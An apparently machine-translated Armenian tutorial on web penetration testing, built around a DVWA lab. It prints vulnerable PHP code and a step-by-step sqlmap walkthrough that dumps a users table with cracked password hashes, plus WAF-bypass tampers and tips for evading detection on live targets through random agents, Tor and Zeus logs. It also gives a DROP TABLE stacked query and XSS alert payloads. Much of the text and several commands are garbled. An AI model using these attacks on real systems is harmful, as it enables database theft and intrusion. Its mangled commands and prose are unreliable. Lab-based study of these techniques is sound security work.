🌐 Վեբ Ներթափանցման Թեստավորում (Web Pentesting)
📌 Ի՞նչ է Վեբ Ներթափանցման Թեստավորումը
Վեբ ներթափանցման թեստավորումը (կարճ՝ Web Pentest) հաքերային տեխնիկա է, որի նպատակն է հայտնաբերել անվտանգության խոցելիությունները վեբ կայքերում և վեբ հավելվածներում։ Այն օգտագործվում է ինչպես էթիկ հաքերների, այնպես էլ կիբեռանվտանգության մասնագետների կողմից՝ կանխելու իրական հարձակումները։
🛠 Ինչպե՞ս է աշխատում
Web Pentest-ը կատարվում է հետևյալ հիմնական փուլերով.
1. 🔍 Հետախուզություն (Reconnaissance)
- Հայտնաբերել թիրախ վեբ կայքը.
- Որոնել ենթադոմեյններ (subdomains), IP հասցեներ։
- Օրինակ գործիքներ՝
whois,nslookup,shodan,theHarvester,Sublist3r։
2. 🧪 Սկանավորում (Scanning)
- Սերվերի, պորտերի ու տեխնոլոգիաների սկան.
- Հավելվածի կառուցվածքի վերլուծություն։
- Օրինակ գործիքներ՝
Nmap,Nikto,Wappalyzer,WhatWeb,Burp Suite Spider։
3. 🚪 Հարձակման Փուլ (Exploitation)
- SQL Injection
- XSS (Cross Site Scripting)
- CSRF (Cross Site Request Forgery)
- File Upload Vulnerabilities
- LFI/RFI (Local/Remote File Inclusion)
- Authentication Bypass
- HTML Injection
4. 🧾 Հաշվետվություն (Reporting)
- Բոլոր խոցելիությունների փաստաթղթավորում։
- Խոցելիության ծանրության գնահատում (Low, Medium, High, Critical)։
- Քայլեր՝ շտկման համար։
📚 Հիմնական Գործիքներ
Վերլուծման և հարձակման գործիք HTTP տրաֆիկի համար։
Անվճար և բաց կոդով վեբ սկաներ։
Ավտոմատացված SQL Injection հարձակումներ։
Թղթապանակների և ֆայլերի հայտնաբերում։
Ցանցային սկաներ, պորտերի հայտնաբերում։
Հարձակման ավտոմատացում՝ fuzzing տեխնիկայով։
🔐 Օրինակներ՝ Հարձակումների
🧩 1. SQL Injection (SQLi)
SQL -injection - Խոցելիությունը կապված է ոչ պատշաճ օգտագործողի վերամշակման հետ, SQL- ի խնդրանքը կազմելիս: Կայքը անհրաժեշտ է տեքստային տվյալներ պահելու համար, չնայած երբեմն նկարները պահվում են տվյալների բազայում (FE ...), I.E: Ձեր մուտքը եւ գաղտնաբառը պահվում են տվյալների բազայում, բայց համարյա ամեն ինչ, որը պահանջում է կառուցվածքային պահուստ.
Տվյալների բազաներն ունեն իրենց SQL լեզուն `կառուցվածքային հարցումների լեզուն: Դրա միջոցով կայքը հաղորդակցվում է տվյալների բազայի հետ, ստանում է տվյալներ եւ պահպանում տվյալները: Այսպիսով, SQL- ի խնդրանքը կազմելիս այն հաճախ մղում է փոխարինելու այն պարամետրը, որը փոխանցում է օգտագործողը: Եվ ահա ռոք ու ռոլը սկսվում է այն ժամանակ, երբ օգտագործողի պարամետրերի ոչ պատշաճ ֆիլտրման պատճառով հարձակումը կարող է կատարել իր պահանջը եւ արդյունքում փոխզիջել հիմքը եւ ապագայում: Եկեք փորձենք.
Բացեք DVWA- ն, ինչպես միշտ, եւ Burp. SQLI- ի փորձարկման համար դրեք բարդության ցածր մակարդակը, ուստի ավելի հեշտ կլինի եւ գնալ SQL-ներարկման բաժին.
Ինչպես տեսնում եք, մուտքային դաշտը ձեզ առաջարկում է ներդնել օգտագործողի ID- ն, ID- ի համատեքստից կարող է լինել միայն մի ամբողջ ցրտահարություն, փորձեք մուտքագրել 1: Ինչ եք տվել: Օգտագործողի անվանումը եւ ազգանունը: Հիմա եկեք նայենք:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?> Մուտք գործելը «Բացատրություն չի պահանջում,« Ստուգեք տվյալների շտեմարանը »այստեղ պետք է կառուցվի ID օգտագործողի կողմից SQL- ի խնդրանքով: Այո, այս տող SQL հարցումը տվյալների բազայում: Եվ որպեսզի ավելի հստակ հասկանաք SQL- ի հիմունքները.
Մի քիչ SQL- ի մասին
SQL- ը լեզու է եւ, ինչպես յուրաքանչյուր լեզվով, կա դրա վերապահված բառերը եւ իր շարահյուսությունը: SQL- ի խնդրանքը միշտ սկսվում է թիմից, եւ թիմերը կարող են լինել հետեւյալը:
- Ընտրել - Էքդացնում տվյալները տվյալների բազայից
- Թարմացնել - Թարմացնում է տվյալները տվյալների բազայում
- Ջնջել - Det նջում է տվյալները տվյալների բազայից
- Տեղադրեք - Նոր տվյալներ տեղադրում է տվյալների բազայում
- Ստեղծեք տվյալների շտեմարան - Ստեղծում է նոր տվյալների բազա
- Alter տվյալների շտեմարան - փոփոխում է տվյալների բազան
- Ստեղծեք աղյուսակ - ստեղծում է նոր սեղան
- Փոխադարձ սեղան - Փոփոխում է սեղանը
- Կաթիլային սեղան - Աղյուսակը ջնջում է
- Ստեղծեք ինդեքս - Ստեղծում է ինդեքս (որոնման բանալին))
- Drop ինդեքս - ջնջում է ցուցանիշը
Ընտրեք հաջորդ շարահյուսությունը
Ընտրեք COLUMN_NAME, COLUMN_NAME2 տվյալների շտեմարանից;
Սյունակները ցուցակագրելու փոխարեն, կարող եք տեղադրել *, եւ հետո ամեն ինչ բարձրանա, եւ դրանից հետո ձեզանից պետք է նշել սեղանի անվանումը, որտեղ պետք է ստանան այս սյուները: Ավելին, եթե ներկայումս աշխատում եք այդ սեղանի հետ, որտեղ ստացվում եք տվյալները, ապա անհրաժեշտ չէ նշել դրա անունը: Եվս մեկ անգամ, կայքում նշված պահանջին, երբ համարը 1 համարը փոխանցում եք վեբ ձեւին եւ ուղարկեք ձեւը, ապա հարցումը պարզվում է:
Chooser First_name, Last_name օգտվողներից, որտեղ User_ID = '1';
Այո, ճիշտ ընտրեք, քանի որ ընտրված հարցումը սեղանից ընտրում է տվյալներ: Եթե ցանկանում եք սովորել SQL, ապա Այստեղ.
Սկզբունքորեն, ես ասում եմ ձեզ այս ամենը, որպեսզի հասկանաք, թե որտեղ է շահույթը: Դատադիրից փոխանցված տվյալները, որոնք դուք ուղղակիորեն կուղեւորվեք խնդրանքով: Եվ ով ասաց, որ այնտեղ չես կարող գրել: Եվ այո, եթե գրում եք «դիկ», ապա այն կլինի խնդրանքի մեջ եւ թռչի: Նրանք: Որտեղ է սխալը այստեղ: Ճիշտ, անբավարար, եւ այս դեպքում բացակայությունը, օգտագործողի զտումը.
Մենք փորձարկում ենք պարամետրերը
Բառերից բիզնես: Ուղարկեք համարը ձեւին, եւ խնդրանքը ներխուժողին: Ներխուժումում, ID պարամետրերի արժեքը, դիպուկահարների հարձակման տեսակը եւ բացվող ցուցակում բեռնվածքի ընտրանքները, գտեք կեղծիք SQL-ներարկումը: Հարձակումից հետո կտեսնեք, որ անցել է շատ բեռներ, ինչը նշանակում է, որ այստեղ ունենք SQL ներարկում, չնայած այստեղ ակնհայտ է: Պատասխանների մեջ կան տեղեր, որտեղ սերվերը մեզ չի վերադարձնում ոչ մի պատասխան, քանի որ ծրագրավորողը պլանավորված էր, բայց մի քանիսը կան նաեւ այն վայրերը, որտեղ սերվերը վերադառնում է SQL- ի շարահյուսությունը.
Ընդհանրապես, այո, ի սկզբանե ստուգելու համար SQL անցկացնելու հնարավորությունը, հնարավոր էր պարզապես ուղարկել ոչ թե 1, բայց 1-ը », կախված խնդրանքով: Սա կարող է ստուգել առաջին տարբերակը, եւ եթե ուղարկեք 1-ը 1 Կարող եք ասել, որ դեռ կա 1 եւ 2 = 1 փոս, եթե այդպիսի պահանջ չի իրականացվում, ապա կրկին փոս կա:.
Դեռեւս ուշադրություն դարձրեք առաջին էկրանին, որտեղ մի գիշերվա փոխարեն ես ուղարկեցի% 27 - սա URL- ում կոդավորված Covica- ն է.
Sqlmap
- Լավ, ներխուժողը ցույց տվեց, որ կա խոցելիություն, հաջորդը?
Եվ այդ ժամանակ մենք կօգտագործենք SQL ներարկումների լավագույն միավորը `SQLMAP: SQLMAP- ը լիարժեք ներդրմամբ հարուստ ֆունկցիոնալությամբ ներածություն է: Այն ամենը, ինչ կապված է SQLI- ի հետ, այն կարող է եւ կոտրվել մինչեւ 90%: Այսպիսով, Proxy- ի պատմության մեջ եղեք մաքուր խնդրանք, նկատի ունեմ մաքուր, առանց պարամետրերի լոբբիի: Կտտացրեք PKM- ի եւ ներքեւի խնդրանքով «Պատճենել ֆայլը".
GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: security=low; PHPSESSID=gfcko16d7l48emc2b2fqk9vfq7 Connection: close Upgrade-Insecure-Requests: 1
Եւ փոխադրման թարգմանության 2 խորհրդանիշ (երկու դատարկ տող) պետք է լրացնեն հարցումը.
Այժմ բացեք տերմինալը եւ մուտքագրեք այդպիսի կոդ
sqlmap -r /path/to/request_file
Ի սկզբանե քարտեզը որոշում է, թե որ DBMS- ն է օգտագործվում կայքում, որից հետո այն հնարավորություն է տալիս բաց թողնել հետագա թեստերը `DEMMS- ը որոշելու համար: Երբ կարոտում եք հետագա թեստերը DBMS- ը որոշելու համար, ավելի ուշ, ավելի ուշ, թողեք ամեն ինչ, ինչպես դա է: Այժմ քարտեզը որոշելու է որոշակի DBMS- ի հիման վրա գրոհների անցկացման տեխնիկան: Դե, ի վերջո, եթե նա որոշի, որ պարամետրը խոցելի է եւ վերցնում է տեխնիկան, նա կառաջարկի ձեզ դադարեցնել կամ շարունակել փորձարկել այլ պարամետրեր.
Մի փոքր SQLMAP- ի հենց աճի մասին: Սկզբում նա որոշում է պարամետրերի առկայությունը խնդրանքով, այնուհետեւ իրականացնում է սերվերի պատասխանների հեուրիստական վերլուծություն, որի հիման վրա SQLMAP- ը նախնական եզրակացություն է տալիս, որ պարամետրը խոցելի է, թե ոչ առաջ: Վճարը փոխարինելու փորձից հետո վերլուծության հիման վրա սկսվում է: Նրանք: Պատահում է, որ քարտեզը ասում է, որ ասում են, որ պարամետրը, ամենայն հավանականությամբ, խոցելի չէ, այնուհետեւ երկար մանրամասն վերլուծությունից հետո այն կարող է կոտրել դրա միջով: Ստորեւ ներկայացված է SQLMAP աջակցության ցուցակը գրոհների համար:
- Միության հարցում SQL ներարկում. SQL կոդի ներդրման դասական տարբերակը, երբ «Միություն բոլոր ընտրված» արտահայտությունը սկսվում է խոցելի պարամետրին: Այս տեխնիկան աշխատում է, երբ վեբ ծրագրերը ուղղակիորեն վերադարձնում են ընտրված հրամանի արդյունքը էջին. Օգտագործելով ցիկլը կամ նման ձեւով, այնպես որ տվյալների բազայից ստացված նմուշի յուրաքանչյուր ձայնագրությունը ցուցադրվում է էջում: SQLMAP- ը կարող է նաեւ գործել մի իրավիճակ, երբ նմուշից միայն առաջին ռեկորդը (մասնակի հարցում SQL ներարկում)).
- Սխալների վրա հիմնված SQL ներարկում. Այս հարձակման դեպքում սկաները փոխարինում կամ ավելացնում է սինթետիկորեն սխալ արտահայտություն խոցելի պարամետրին, որից հետո այն վերլուծում է HTTP պատասխանը (վերնագրերը եւ մարմինը), որոնք մեզ համար հետաքրքրություն ներկայացնելու համար պարունակում էին նիշերի եւ ինչ-որ տեղ մոտակայքում: Այս տեխնիկան աշխատում է միայն այն դեպքում, երբ ինչ-ինչ պատճառներով վեբ դիմումը (ամենից հաճախ կարգաբերման նպատակով) բացահայտում է DBMS սխալները.
- Stacked հարցումներ SQL ներարկում. Սկաները ստուգում է, թե արդյոք վեբ դիմումը աջակցում է հետեւողական հարցումներին, եւ եթե դրանք մահապատժի են ենթարկում, ապա HTTP հարցման անապահով պարամետրին համապատասխանող կետը: Այս տեխնիկան հիմնականում օգտագործվում է SQL հրամաններ ներդնելու համար, օրինակ, ընտրելու համար, օրինակ, տվյալների մանիպուլյացիայի համար (օգտագործելով ներդիր կամ ջնջում): Հատկանշական է, որ տեխնիկան կարող է հանգեցնել ֆայլային համակարգից կարդալու / ձայնագրման ունակությանը, ինչպես նաեւ OS- ին հրամանի կատարման հնարավորության: True իշտ է, կախված տվյալների բազայի կառավարման համակարգից, որն օգտագործվում է որպես հենակետային գիծ, ինչպես նաեւ օգտվողի արտոնություններ.
- Boolean- ի վրա հիմնված կույր SQL ներարկում. Այսպես կոչված կույր ներարկման իրականացումը. «Մաքուր» ձեւով տվյալների բազայից ստացված տվյալները ոչ մի տեղ չեն վերադարձվում: Ընդունումը կոչվում է նաեւ դեդուկտիվ: SQLMAP- ը ավելացնում է սինտակտորեն ճիշտ կազմված արտահայտություն, որը պարունակում է ընտրված բաժանորդագրություն HTTP հարցման խոցելի պարամետրին (կամ տվյալների բազայից նմուշը ստանալու ցանկացած այլ հրաման): Ստացված յուրաքանչյուր HTTP պատասխանի համար վերնագրերը / մարմինը համեմատվում են էջերի հետ `սկզբնական խնդրանքի պատասխանով. Այսպիսով, կոմունալը կարող է խորհրդանիշ լինել` որոշելու իրականացված SQL- ի եզրակացության եզրակացությունը: Որպես այլընտրանք, օգտագործողը կարող է տրամադրել լարային կամ կանոնավոր արտահայտություն «ճշմարիտ» էջերը որոշելու համար (հետեւաբար հարձակման անունը): Այս տեխնիկան կատարելու համար SQLMAP- ում իրականացված երկուական որոնման ալգորիթմը ի վիճակի է արդյունահանել HTTP ստուգումների առավելագույն ընտանիքի արդյունքի յուրաքանչյուր խորհրդանիշ: Այն դեպքում, երբ եզրակացությունը բաղկացած է ոչ միայն սովորական կերպարներից, սկաներները կարգավորում են ալգորիթմը `ավելի լայն խորհրդանիշի միջակայքի միջոցով աշխատելու համար (օրինակ, Unicode- ի համար)).
- Ժամանակի վրա հիմնված կույր SQL ներարկում. Ամբողջովին կույր ներարկում: Ինչպես նախորդ դեպքում, սկաները «խաղում է» խոցելի պարամետրով: Բայց այս դեպքում ավելացնում է ենթակետ, ինչը հանգեցնում է DBMS- ի դադարից որոշակի թվով վայրկյանների (օրինակ, քուն () կամ հենանիշային () հրամաններ օգտագործելով): Օգտագործելով այս հատկությունը, սկաները կարող է նրբորեն արդյունահանել տվյալների բազայից տվյալներ, համեմատելով սկզբնական հարցման պատասխանը եւ կատարված կոդով հարցման համար: Այստեղ օգտագործվում է նաեւ երկուական որոնման ալգորիթմ: Բացի այդ, տվյալների հաստատման հատուկ մեթոդ է օգտագործվում `խորհրդանիշի ոչ պատշաճ արդյունահանման հավանականությունը նվազեցնելու համար անկայուն կապի պատճառով.
Այս դեպքում քարտեզը որոշեց 4 հարձակման տեխնիկա, ապագայում այս կայքի հետ աշխատելիս նա կընտրի ամենաարագ սարքավորումները, որոշվել են նաեւ OS տարբերակը, սերվերի վեբ եւ DBMS տարբերակը.
DBMS - DBMS - Տվյալների բազան Menegment համակարգ - տվյալների բազայի կառավարման համակարգ
Այժմ դուք կարող եք նախ պարզել տեղեկությունները DBMS- ի վերաբերյալ
SQLMAP -R DVWA.GESESERSERSESTER --CURRENT-USER - Password --HostName --is-DBA - Commurrent-DB - Բան
- --Օգտագործողներ - Ստացեք DBMS- ի օգտագործողների ցուցակը.
- --Ընթացիկ-սուտ - Պարզեք, թե որ օգտագործողն է կայքը աշխատում DBMS- ի հետ.
- --Գաղտնաբառ - Ստացեք Drift գաղտնաբառեր DBMS- ի օգտագործողների համար.
- --Հյուրընկալողի անունը - հյուրընկալողի անունը, որի վրա մեկնարկվում է DBMS- ը.
- ---DBA - ստուգեք կենտրոնացված մուտքի ներկայիս օգտագործողի առկայությունը.
- --Ընթացիկ -DB - պարզեք ներկայիս տվյալների բազայի անվանումը, որի միջոցով աշխատում է կայքը.
- --Banner - Bend Banner DBMS.
Յուրաքանչյուր հյուրընկալողի համար քարտեզը պահում է այն տեղեկատվությունը, որը ձեզ անհրաժեշտ է աշխատանքի համար: Նա չի փորձարկում եւ կտտանքներ երկու անգամ, նա չի ստանա «~ / .sqlmap» - ում պահվող նիստից: Դե, իմ դեպքում ես ստացա ամեն ինչ, բացի Հաշվերի գաղտնաբառերից, քանի որ բավարար իրավունքներ չկար: Դե, դժոխք նրա հետ, եկեք նայենք առկա հիմքերի ցանկին:
Վերջինս համակարգի տվյալների շտեմարան է, որը պահում է տեղեկատվություն DBMS- ի սեղանների, հիմքերի, օգտագործողների մասին: Այժմ դուք կարող եք դիտել DVWA տվյալների շտեմարանում սեղանների սեղանները, որոնք, ինչպես որոշեցինք, ներկայիս տվյալների բազան, լավ է, դա հասկանալի է, այն միայն մեկն է.
Sqlmap -r dvwa.get -d dvwa - -tables
Հիմա եկեք նայենք օգտագործողների աղյուսակի սյուների ցուցակը
SQLMAP -R DVWA.GET -D DVWA -T օգտվողներ - Columns
Եվ հիմա մնում է միայն տվյալներ ստանալ տոկոսների սյուների վերաբերյալ
SQLMAP -R DVWA.GET -D DVWA -T Users -C օգտագործող, գաղտնաբառ - DVWA
Դրանից հետո քարտեզը կորոշի, որ մենք ստացանք Hashs եւ այժմ կառաջարկենք ձեզ փրկել այլ ծրագրերի վրա, ապա հարցրեք, թե ինչպես ես հրաժարվել տվածից.
+---------+---------------------------------------------+
+---------+---------------------------------------------+
| 1337 | 8D3533D75AE2C3966D7E0D4FCCCC69216B (Չարլի) |
| Ադմինիստրատոր | 202CB962AC59075B964B07152D234B70 (123) |
| Գորդոնբ | E99A18C428CB38D5F260853678922E03 (ABC123) |
| Պաբլո | 0D107D09F5BBE40CADE3DE5C71E9E9B7 (letmein) |
| Սմիթի | 5F4DCC3B5AA765D61D8327DEB882CF99 (Գաղտնաբառ) |
+---------+---------------------------------------------+
Հետաքրքիր էր եւ պարզ: Հետադարձ խնդրանքի համար նույնը կդառնա մեզ հետ: Ավելի հետաքրքիր կլինի անհապաղ գնալ Higth մակարդակին եւ «SQL- ի (կույր)» կույր SQL ներարկումն է: Այժմ էությունն այն է, որ դուք փոխում եք ձեր ID- ն այն ձեւի միջոցով, որը կբացվի առանձին պատուհանում, եւ այս ID- ն նախատեսված է թխուկներով, ապա կայքը վերլուծում է բլիթների միջոցով պարամետրը վերլուծում է.
Եվ դուք պետք է ճշգրիտ փորձարկեք այն խնդրանքը, որը խոհարարներին տալիս է URL- ին, որը ստուգում է ID պարամետրը տվյալների բազայում: Փոստի հարցումը միայն թխուկներ է հավաքում: Պահեք հարցումը ֆայլին եւ սկսեք SQLMAP- ը:
SQLMAP -R DVWA.GET --Banner -P «ID» --level=2
- -R - ֆայլ պարունակող հարցում.
- --Banner - կվերցնի տվյալների բազայի դրոշը.
- -P - Նշեք որոշակի պարամետրի անունը, որը պետք է փորձարկվի.
- --Մակարդակ = 2 - Նշեք թեստի մակարդակը.
--Մակարդակ - որոշում են, թե որ պարամետրերը փորձարկվելու են.
Փաստաթղթերից.
Default SQLMAP թեստերի միջոցով բոլորը ստանում են պարամետրեր եւ փոստային պարամետրեր: Երբ արժեքը--levelէ լինել >= 2 Այն նաեւ փորձարկում է httpCookieՎերնագրի արժեքները: Երբ այս արժեքն է >= 3 Այն նաեւ փորձարկում է httpUser-Agentեւ httpRefererԳլխի արժեքը SQL ներարկումների համար: Այնուամենայնիվ, հնարավոր է ձեռքով սահմանել պարամետր (ներ) ի ստորակետի առանձնացված ցուցակը, որը ցանկանում եք SQLMAP թեստ: Սա շրջանցելու է կախվածությունը արժեքից--levelնույնպես.
--Ռիսկ - որոշվելու է թեստերի շարք, որոնք ենթարկվելու են պարամետրերի: Պարամետրերի մասին ավելի շատ մանրամասներ կարող են եւ պետք է կարդալ փաստաթղթերով ձայնագրում.
Ընդհանրապես, այլեւս նկարագրելու բան չկա, քանի որ SQLMAP- ը կգտնի «Բուլյան հիմնված կույր» եւ «եւ / կամ ժամանակով հիմնված կույր» SQL-ներարկում: Այո, նա դեռ հարցնելու է, թե արդյոք կուտակում է այն կուկը, որը վերադարձնում է սերվերի պատասխանը, արժե հրաժարվել: Ես կբացատրեմ, երբ տվյալները կույր ներարկման միջոցով եմ արդյունահանել (երբ սերվերը չի ցուցադրում սխալի տեքստը, բայց միայն ազդանշաններն են նրա ներկայության մասին): Հոսքերի առավելագույն հոսքը 10 է, եւ հնարավոր չի լինի դրանք օգտագործել «Ժամանակաբուծական կույրերի» տեխնիկայով, քանի որ այստեղ տվյալների երկարացումը կախված է սերվերի պատասխանից.
Վաֆ
WAF (Վեբ դիմումը Firewall) սերվերի պաշտպանության մեխանիզմ է ներարկման գրոհներից: Նա իր զտիչներով վերլուծում է սերվերի պահանջները եւ կարող է արգելափակել այն նախքան սերվերը փոխանցելը: Այսպիսով, հարձակումը դառնում է անհնար, նույնիսկ խոցելիության առկայության դեպքում: SQLMAP- ը աջակցում է WAF- ի օգտագործմանը, ինչպես նաեւ ունի իր զինանոցում Firewall- ի լրացումների մի փունջ: WAF- ի նույնականացումը միացված է-Waf պարամետրով եւ շրջանցելով, թմբկահարների ներառումը, օրինակ `TPAPER2COMMENT, դուք կարող եք ցուցադրել մի քանի տամպեր, ստորակետով: Դա անհրաժեշտ է, քանի որ ընտրված ուռուցքը կախված է DBMS- ից եւ WAF- ից.
Apostrophemask, apostrophenullencode, base64encode, միջեւ, Chardoublecode, Charencode, Charenicodeencode, Fearlytolike, Greatest, Multiplescaces, Francession
միջեւ ընկած, Charencode, Charunicodeencode, Carcencode, Greater, Multiplespare, Nonrecursivereplace, տոկոս, պատահական պատկեր, Sp_Password, Space2comment, Space2mysqldash, Space2plus, Spacextes
Tamping Payload- ի բոլոր սցենարների ցուցակը
Դուք նոկաուտի մեջ եք նոկաուտի մեջ եւ կռվում.
SQLMAP արդյունք
Ինչպես ասացի, SQLMAP- ը հաշվետվություն է պահում յուրաքանչյուր հարձակման վերաբերյալ: Եթե կրկնեցիք իմ հետեւից բոլոր գործողությունները, ապա ճանապարհին կգտնեք օգտագործողների հետ սեղանը
/արմատ / .sqlmap / ելք / 127.0.0.1 / աղբ / DVWA
Դա շատ հարմար է, եթե ապագայում դուք կրկին կստանաք այս սեղանի աղբանոցները այս կայքից եւ տվյալների բազայից, ապա հին տվյալները Նրանք չեն լինի Վերափոխվել է: Հաղորդավարի հետ թղթապանակում կայանում է այն տեղեկամատյանում, որում ստուգվում են թեստի արդյունքները, օրինակ, մենք չենք խոնավացրել օգտագործողների աղյուսակի ցուցակը, եւ եթե այս տվյալները վերգետնյա ֆայլը վերստուգեք: Եվ կա մի պայման, գլխավորն այն է, որ SQLMAP- ի գործարկումը նույնն է, ինչ տվյալներ ստանալիս: Օրինակ, մենք նախ փորձեցինք պարամետրերը, այնուհետեւ այդ պաշտոնը, առաջին հերթին մենք ստացանք խոսնակներ, եւ մենք որոշեցինք հարցնել փոստի շտեմարանից: Քանի որ հարցումները տարբեր են.
Եթե Ձեզ անհրաժեշտ է միացնել ինչ-որ մեկը խթանված գայթակղություն, ապա տալիս եք պանակ, հյուրընկալողով, որը ստացողը կդնի իրեն, թիրախի ֆայլում գործարկման հրաման կտա: Նրան պետք չէ տեղեկամատյանային ֆայլ.
Դիմում մարտական պայմաններում
Մարտական պայմաններում, վեբ ծրագրերը ստուգելիս պետք է մտածել, թե ինչպես չվառվել: Առաջին բանը, որ պետք է անել MAPA- ն `պատահական օգտագործողի օգտագործման համար, եթե դա չի արվել, ապա հարցումներում կտրվի ծրագրաշարի անվանումը պարունակող լռելյայն օգտագործողի գործակալը: Երկրորդը վստահված անձի օգտագործումն է, SQLMAP- ը աջակցում է ինչպես վստահված անձանց ցանկին, այնպես էլ որոշակի վստահված անձի ցուցում, օրինակ, դուք կարող եք նշել որպես Տորուսի վստահված անձը.
Եթե ինչ-ինչ պատճառներով չես կարող կամ չես ուզում հարցադրումներ տալու հետ, որպեսզի դրանք պարզապես ուղարկեն քարտեզի, ապա կարող ես դա անել: Օրինակ, դուք գործարկել եք Զեւսը եւ մի ֆայլի մի փունջ խփել մի ֆայլ: Այնուհետեւ այն մոտեցումը, որի վրա մենք մարզվել ենք, չի գործի, քանի որ ծրագիրը պետք է պարզեցնի կյանքը եւ չի բարդացնում այն: Եվ ավելի հեշտ բան չկա, քան պարզապես տեղեկամատյանային ֆայլը տալը, Բարեբախտաբար Զեւսը, Ուրլան, Ուրլան կգրանցվի, քանի որ վարչապետը (որոնիչ) տվեց նրան քանդակների.
SQLMAP --Tamper = Space2Comment - WAF-WAF - Random-Agent -M SQLMAP_TASK.log - Գլուխ
Վերջին պարամետրը ներառում է մի ռեժիմ, որում քանդակագործը ինքն է պատասխանում իր հարցերին, դրանով իսկ ավտոմատացնելով բոլոր աշխատանքները: Սա, իհարկե, հետաքրքիր է, պարզապես անհրաժեշտ է հասկանալ, որ փոխարկումը կնվազի: Չնայած ամեն ինչ կախված է ձեր նախընտրություններից եւ նպատակներից.
Հատկացման կետերի դեպքում ձեզ հարկավոր է նշել URL- ն, Cookie- ն *, մեթոդը * դրա համար կան նաեւ համապատասխան պարամետրեր: Այսպիսով, հիմա շարունակեք կարդալ փաստաթղթերը: Եվ այո, ես հասկանում եմ, որ դա ձանձրալի է.
Եւ այլ բան
Եթե հանկարծ ձեզ հարկավոր է քանդակել քանդակների նստաշրջանը, որպեսզի նա նոր բան արի, ապա օգտագործիր պարամետր-ֆլամետ-նստաշրջանը.
Փորձարկելիս կարող եք նաեւ նշել, թե որ տեխնիկան պետք է օգտագործվի (- - տեխնիկա = beus), բոլոր տեխնիկան օգտագործվում է լռելյայն :
B: Բուլյան հիմնված կույրE: Սխալի հիման վրաU: Միության հարցման վրա հիմնվածS: Stacked հարցումներT: Ժամանակի վրա հիմնված կույրQ: Ներքին հարցումներ
Հարցումների կեռը միմյանց կողքին մի քանի հարցումների կատարումն է եւ բաժանված `;`.
Ընտրեք * աղյուսակ_ անունից, որտեղ անունը = `կառավարիչ; Drop other_table_name --
Այս խնդրանքը կներկայացնի «OTER_Table_Name» աղյուսակը ներկայիս աղյուսակում: Բայց խնդիրն այն է, որ ոչ բոլոր կապաններն են աջակցում նման պահանջներին.
ASP.NET | Postgreesql | Աջակցել
Ֆայլերը կարդալու եւ ձայնագրման այլ խնդիրներ կան: Մասնավորապես, SQL Server- ը պետք է իրավունք ունենա կարդալու / գրառման իրավունք, դուք պետք է իմանաք բացարձակ ուղին, եւ անհրաժեշտ է, որ SQL հրամանը, որը կատարում է գրառումը, արգելափակված չէ: Այս կազմաձեւերը բավականին հազվադեպ են, բայց դրանք միշտ պետք է ստուգենք: Վերջապես ձեզ համոզելու համար, որ դուք պետք է ամեն ինչ ստուգեք, ես օրինակ կտամ 2017-ի մարտին, տեղեկատվությունը հայտնվեց, թե ինչպես են սպամերը արտահոսել գաղտնաբառերով 700 լեյամի գրառումների ընդհանուր հասանելիության: Սպամերը պարզապես ճիշտ չեն կարգավորել թղթապանակի իրավունքները իրենց պահուստներով, եւ այդ տվյալները պարզվել են, որ ընդհանուր առմամբ հասանելի են: Որպեսզի հասկանաս խնդրի մասշտաբը, սա պատմության մեջ ամենամեծ արտահոսքն է!
🧩 2. XSS (Cross Site Scripting)
Ես հաճախ հանդիպում եմ Xss, որոնք թույլ չեն տալիս օգտագործել այլ բան, քան ահազանգը անվանելը կամ մի քանիսը Ինքնուրույն Առանց շահագործման հնարավորության: Այնուամենայնիվ, եթե բավականաչափ ջանք եք գործադրում, ապա նույնիսկ շատերը Ինքնուրույն, Օգտագործելով դրանք այլ խոցելիությունների հետ միասին, որոնք առաջին հայացքից կարծես թե բացահայտիչ են.
Այսօրվա հոդվածում ես փորձեցի բացահայտել այդպիսի շահագործման երկու հետաքրքիր վեկտոր Xss: Առաջին դեպքում մենք բախվում ենք դրան HTML Մի քանազոր Ինքնուրույն, Եվ երկրորդ դեպքում մենք գործում ենք Xss քեշի թունավորումների օգնությամբ եւ Ծառայության աշխատող.
Ինքնակառավարման xss + html ներարկում + CSRF
Դիտարկենք խոցելի դիմում: Մեր առջեւ մի էջ է, որը բլոգ է, եւ դիմումում թույլտվության ֆունկցիոնալությունը հասանելի է մեզ համար:
Հաշիվը մուտքագրելուց հետո մենք բացում ենք փոստային խմբագրման էջը հիմնական էջի համար:
Ստեղծելուց հետո գրառումը անմիջապես ցուցադրվում է մեր բլոգում:
Գրառման խմբագրման ընթացքում ես նկատեցի, որ դաշտում մտնելը պիտակներ անմիջապես արտացոլեք էջին:
Մեր ներդրումը մտնում է սցենարի պիտակ, եւ մենք կարող ենք փորձել դուրս գալ դրանից Հուշարար եւ կատարել ցանկացած JS, դրա համար անհրաժեշտ է փակել ընտրիչը:
"-alert(1)-"
Խնդրի վիճակի համաձայն, էջը բացելիս ինքնուրույն XSS- ը պետք է բերի օգտագործողի մականունին, այնպես որ մենք կփոխենք օգտակար բեռը վիճակի տակ.
Մենք պետք է տարրեր ստանանք HTML էջից, որը պարունակում է օգտագործողի մականունը: Դասի անվանումը կարելի է ստանալ օգտագործելով Inpect'oм ոլորտի վերաբերյալ մեր մականունով:
Մենք ստանում ենք այս դասի բոլոր տարրերը:
"-alert(document.getElementsByClassName("navbar-brand"))-"
Քանի որ սա զանգված է, մենք ստանում ենք նրա առաջին տարրը:
"-alert(document.getElementsByClassName("navbar-brand")[0])-"
